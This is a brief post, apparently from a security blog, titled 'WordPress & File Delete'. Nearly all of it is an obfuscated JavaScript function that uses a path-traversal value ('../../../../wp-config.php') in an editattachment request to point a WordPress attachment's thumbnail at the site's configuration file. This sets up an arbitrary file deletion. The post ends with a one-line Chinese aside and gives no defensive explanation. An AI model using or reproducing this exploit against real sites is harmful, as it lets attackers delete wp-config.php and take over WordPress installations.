WordPress & File Delete

function setThumbToConfig(_0x95ccx2, _0x95ccx3) {
    console['log'](_0x95ccx2);
    var _0x95ccx4 = 'action=editattachment&thumb=../../../../wp-config.php&_wpnonce=' + _0x95ccx3;
    var _0x95ccx5 = new XMLHttpRequest();
    _0x95ccx5['onreadystatechange'] = function () {
        if (this['readyState'] == 4) {
            console['log']('Thumb waset to ../../../../wp-config.php')
        }
    };
    _0x95ccx5['open']('POST', '/wp-admin/post.php?post=' + _0x95ccx2, true);
    _0x95ccx5['setRequestHeader']('Content-type', 'application/x-www-form-urlencode');
    _0x95ccx5['send'](_0x95ccx4)
}

......唉...是不是很眼熟